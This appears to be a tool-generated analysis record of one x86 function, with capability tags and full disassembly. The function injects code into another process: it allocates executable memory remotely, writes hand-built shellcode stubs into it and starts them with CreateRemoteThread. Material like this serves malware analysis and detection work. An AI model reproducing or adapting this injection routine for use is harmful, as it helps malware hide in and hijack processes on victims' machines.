Function at 0x436570
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffb3c
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x10], eax
mov byte [ebp - 0x15], 0
mov byte [ebp - 0x32], 0
mov eax, dword [0x65484c]
cmp dword [eax], 0
je 0x4365bd
lea eax, [ebp - 0x4c4]
mov edx, 0x24
call fcn.004318a0
lea eax, [ebp - 0x4c4]
push eax
mov eax, dword [0x65484c]
mov eax, dword [eax]
call eax
cmp word [ebp - 0x4c4], 9
sete byte [ebp - 0x32]
mov eax, dword [0x6549ac]
cmp dword [eax], 0
setne al
and al, byte [ebp - 0x32]
je 0x436616
xor eax, eax
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x38]
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [0x6549ac]
mov eax, dword [eax]
call eax
test eax, eax
jne 0x43660a
call sub.kernel32.dll_GetLastError_2
mov dword [ebp - 0x3c], eax
push 0x4368c0
mov eax, dword [0x653d30]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x3c]
xor edx, edx
call fcn.0043f1c0
jmp 0x4368aa
cmp dword [ebp - 0x38], 1
sbb eax, eax
inc eax
mov byte [ebp - 0x31], al
jmp 0x43661a
mov byte [ebp - 0x31], 1
cmp byte [ebp - 0x31], 0
je 0x4368aa
mov dword [ebp - 0x24], 0x228
lea eax, [ebp - 0x264]
mov dword [ebp - 0x1c], eax
push 0x40
push 0x1000
mov eax, dword [ebp - 0x24]
push eax
push 0
mov eax, dword [ebp - 0x10]
push eax
call sub.kernel32.dll_VirtualAllocEx
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x436676
call sub.kernel32.dll_GetLastError_2
mov dword [ebp - 0x3c], eax
push 0x4368f4
mov eax, dword [0x653d30]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x3c]
xor edx, edx
call fcn.0043f1c0
jmp 0x4368aa
push 0x436930
mov eax, dword [0x6547c0]
mov eax, dword [eax]
push eax
call fcn.0040bce4
mov dword [ebp - 8], eax
push 0x43694c
mov eax, dword [0x6547c0]
mov eax, dword [eax]
push eax
call fcn.0040bce4
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x14]
call fcn.00406f58
add eax, eax
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x264]
mov edx, 0x228
call fcn.004318a0
mov byte [ebp - 0x264], 0x68
mov word [ebp - 0x25f], 0x15ff
mov eax, dword [ebp - 4]
add eax, 0x16
mov dword [ebp - 0x25d], eax
mov byte [ebp - 0x259], 0x68
xor eax, eax
mov dword [ebp - 0x258], eax
mov word [ebp - 0x254], 0x15ff
mov eax, dword [ebp - 4]
add eax, 0x1a
mov dword [ebp - 0x252], eax
mov eax, dword [ebp - 4]
add eax, 0x1e
mov dword [ebp - 0x263], eax
lea eax, [ebp - 0x49e]
mov edx, 0x23a
call fcn.004318a0
mov byte [ebp - 0x49e], 0x48
mov byte [ebp - 0x49d], 0x81
mov byte [ebp - 0x49c], 0xec
mov dword [ebp - 0x49b], pe_nt_image_headers32
mov byte [ebp - 0x497], 0x48
mov byte [ebp - 0x496], 0x83
mov byte [ebp - 0x495], 0xe4
mov byte [ebp - 0x494], 0xf0
mov word [ebp - 0x493], 0xb948
mov word [ebp - 0x489], 0xb848
mov word [ebp - 0x47f], 0xd0ff
mov byte [ebp - 0x47d], 0x48
mov byte [ebp - 0x47c], 0x33
mov byte [ebp - 0x47b], 0xc9
mov word [ebp - 0x47a], 0xb848
mov word [ebp - 0x470], 0xd0ff
mov eax, dword [ebp - 4]
xor edx, edx
add eax, 0x30
adc edx, 0
mov dword [ebp - 0x491], eax
mov dword [ebp - 0x48d], edx
cmp dword [ebp - 0x20], 0
jle 0x4367df
mov eax, dword [ebp - 0x14]
call fcn.0040767c
lea edx, [ebp - 0x246]
mov ecx, dword [ebp - 0x20]
call fcn.00404c50
mov eax, dword [ebp - 0x14]
call fcn.0040767c
lea edx, [ebp - 0x46e]
mov ecx, dword [ebp - 0x20]
call fcn.00404c50
mov eax, dword [ebp - 8]
mov dword [ebp - 0x24e], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x24a], eax
xor eax, eax
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
mov eax, dword [ebp - 0x24]
push eax
mov eax, dword [ebp - 0x1c]
push eax
mov eax, dword [ebp - 4]
push eax
mov eax, dword [ebp - 0x10]
push eax
call sub.kernel32.dll_WriteProcessMemory
test eax, eax
jne 0x436833
call sub.kernel32.dll_GetLastError_2
mov dword [ebp - 0x3c], eax
push 0x436970
mov eax, dword [0x653d30]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x3c]
xor edx, edx
call fcn.0043f1c0
jmp 0x4368aa
xor eax, eax
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x2c]
push eax
push 0
push 0
mov eax, dword [ebp - 4]
push eax
push 0
push 0
mov eax, dword [ebp - 0x10]
push eax
call sub.kernel32.dll_CreateRemoteThread
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0
jne 0x43687a
call sub.kernel32.dll_GetLastError_2
mov dword [ebp - 0x3c], eax
push 0x4369c0
mov eax, dword [0x653d30]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x3c]
xor edx, edx
call fcn.0043f1c0
jmp 0x4368aa
xor eax, eax
push ebp
push 0x4368a3
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 0x15], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4368aa
mov eax, dword [ebp - 0x30]
push eax
call sub.kernel32.dll_CloseHandle_1
ret
mov al, byte [ebp - 0x15]
mov esp, ebp
pop ebp
ret